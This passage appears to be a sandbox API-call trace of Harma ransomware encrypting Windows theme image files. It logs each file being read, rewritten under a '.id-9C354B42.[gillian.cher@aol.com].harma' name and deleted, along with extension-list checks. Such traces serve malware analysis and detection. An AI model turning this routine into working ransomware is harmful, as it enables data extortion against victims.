lpString2=".harma") returned 1 [0057.485] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.485] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=31837) returned 1 [0057.486] CloseHandle (hObject=0x1d0) returned 1 [0057.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0057.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.486] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.486] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.487] GetLastError () returned 0x0 [0057.487] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0057.493] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0057.496] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.497] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.497] SetEndOfFile (hFile=0x1ec) returned 1 [0057.498] CloseHandle (hObject=0x1ec) returned 1 [0057.498] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.499] SetEndOfFile (hFile=0x1d0) returned 1 [0057.500] CloseHandle (hObject=0x1d0) returned 1 [0057.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.501] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0057.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.501] lstrlenW (lpString=".doc") returned 4 [0057.501] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.501] lstrlenW (lpString=".docx") returned 5 [0057.501] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.501] lstrlenW (lpString=".pdf") returned 4 [0057.501] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.501] lstrlenW (lpString=".xls") returned 4 [0057.501] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.501] lstrlenW (lpString=".xlsx") returned 5 [0057.501] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.502] lstrlenW (lpString=".ppt") returned 4 [0057.502] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.502] lstrlenW (lpString=".zip") returned 4 [0057.502] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.502] lstrlenW (lpString=".rar") returned 4 [0057.502] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.502] lstrlenW (lpString=".bz2") returned 4 [0057.502] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.502] lstrlenW (lpString=".7z") returned 3 [0057.502] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.502] lstrlenW (lpString=".dbf") returned 4 [0057.502] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.502] lstrlenW (lpString=".1cd") returned 4 [0057.502] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.502] lstrlenW (lpString=".jpg") returned 4 [0057.502] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.502] lstrlenW (lpString=".doc") returned 4 [0057.502] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.502] lstrlenW (lpString=".docx") returned 5 [0057.502] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.502] lstrlenW (lpString=".pdf") returned 4 [0057.502] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.502] lstrlenW (lpString=".xls") returned 4 [0057.503] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.503] lstrlenW (lpString=".xlsx") returned 5 [0057.503] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.503] lstrlenW (lpString=".ppt") returned 4 [0057.503] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.503] lstrlenW (lpString=".zip") returned 4 [0057.503] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.503] lstrlenW (lpString=".rar") returned 4 [0057.503] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.503] lstrlenW (lpString=".bz2") returned 4 [0057.503] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.503] lstrlenW (lpString=".7z") returned 3 [0057.503] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.503] lstrlenW (lpString=".dbf") returned 4 [0057.503] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.503] lstrlenW (lpString=".1cd") returned 4 [0057.503] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0057.503] lstrlenW (lpString=".jpg") returned 4 [0057.503] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.503] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.503] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.505] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2722) returned 1 [0057.505] CloseHandle (hObject=0x1d0) returned 1 [0057.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0057.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0057.505] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.505] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0057.508] GetLastError () returned 0x0 [0057.508] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xaa2, lpOverlapped=0x0) returned 1 [0057.509] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xab0, lpOverlapped=0x0) returned 1 [0057.510] ReadFile (in: hFile=0x1d0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.510] WriteFile (in: hFile=0x1ec, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.510] SetEndOfFile (hFile=0x1ec) returned 1 [0057.510] CloseHandle (hObject=0x1ec) returned 1 [0057.511] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.511] SetEndOfFile (hFile=0x1d0) returned 1 [0057.511] CloseHandle (hObject=0x1d0) returned 1 [0057.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.512] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0057.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.512] lstrlenW (lpString=".doc") returned 4 [0057.512] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.512] lstrlenW (lpString=".docx") returned 5 [0057.512] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.512] lstrlenW (lpString=".pdf") returned 4 [0057.512] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.512] lstrlenW (lpString=".xls") returned 4 [0057.512] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.512] lstrlenW (lpString=".xlsx") returned 5 [0057.512] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.512] lstrlenW (lpString=".ppt") returned 4 [0057.512] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.513] lstrlenW (lpString=".zip") returned 4 [0057.740] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.740] lstrlenW (lpString=".rar") returned 4 [0057.740] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.740] lstrlenW (lpString=".bz2") returned 4 [0057.740] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.740] lstrlenW (lpString=".7z") returned 3 [0057.740] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.740] lstrlenW (lpString=".dbf") returned 4 [0057.740] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.740] lstrlenW (lpString=".1cd") returned 4 [0057.740] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.740] lstrlenW (lpString=".jpg") returned 4 [0057.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.741] lstrlenW (lpString=".doc") returned 4 [0057.741] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.741] lstrlenW (lpString=".docx") returned 5 [0057.741] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.741] lstrlenW (lpString=".pdf") returned 4 [0057.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.741] lstrlenW (lpString=".xls") returned 4 [0057.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.741] lstrlenW (lpString=".xlsx") returned 5 [0057.741] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.741] lstrlenW (lpString=".ppt") returned 4 [0057.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.741] lstrlenW (lpString=".zip") returned 4 [0057.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.741] lstrlenW (lpString=".rar") returned 4 [0057.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.741] lstrlenW (lpString=".bz2") returned 4 [0057.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.741] lstrlenW (lpString=".7z") returned 3 [0057.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.741] lstrlenW (lpString=".dbf") returned 4 [0057.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.742] lstrlenW (lpString=".1cd") returned 4 [0057.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0057.742] lstrlenW (lpString=".jpg") returned 4 [0057.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.742] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.742] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.969] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=29925) returned 1 [0057.969] CloseHandle (hObject=0x1fc) returned 1 [0057.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0057.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0057.970] GetLastError () returned 0x0 [0057.970] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x74e5, lpOverlapped=0x0) returned 1 [0057.973] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0057.974] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.974] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.975] SetEndOfFile (hFile=0x164) returned 1 [0057.975] CloseHandle (hObject=0x164) returned 1 [0057.975] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.975] SetEndOfFile (hFile=0x1fc) returned 1 [0057.976] CloseHandle (hObject=0x1fc) returned 1 [0057.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0057.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.976] lstrlenW (lpString=".doc") returned 4 [0057.977] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.977] lstrlenW (lpString=".docx") returned 5 [0057.977] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.977] lstrlenW (lpString=".pdf") returned 4 [0057.977] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.977] lstrlenW (lpString=".xls") returned 4 [0057.977] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.977] lstrlenW (lpString=".xlsx") returned 5 [0057.977] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.977] lstrlenW (lpString=".ppt") returned 4 [0057.977] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.977] lstrlenW (lpString=".zip") returned 4 [0057.977] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.977] lstrlenW (lpString=".rar") returned 4 [0057.977] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.977] lstrlenW (lpString=".bz2") returned 4 [0057.977] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.977] lstrlenW (lpString=".7z") returned 3 [0057.977] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.977] lstrlenW (lpString=".dbf") returned 4 [0057.977] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.977] lstrlenW (lpString=".1cd") returned 4 [0057.977] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.977] lstrlenW (lpString=".jpg") returned 4 [0057.977] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.978] lstrlenW (lpString=".doc") returned 4 [0057.978] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.978] lstrlenW (lpString=".docx") returned 5 [0057.978] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.978] lstrlenW (lpString=".pdf") returned 4 [0057.978] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.978] lstrlenW (lpString=".xls") returned 4 [0057.978] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.978] lstrlenW (lpString=".xlsx") returned 5 [0057.978] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.978] lstrlenW (lpString=".ppt") returned 4 [0057.978] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.978] lstrlenW (lpString=".zip") returned 4 [0057.978] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.978] lstrlenW (lpString=".rar") returned 4 [0057.978] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.978] lstrlenW (lpString=".bz2") returned 4 [0057.978] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.978] lstrlenW (lpString=".7z") returned 3 [0057.978] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.978] lstrlenW (lpString=".dbf") returned 4 [0057.978] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.978] lstrlenW (lpString=".1cd") returned 4 [0057.978] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.978] 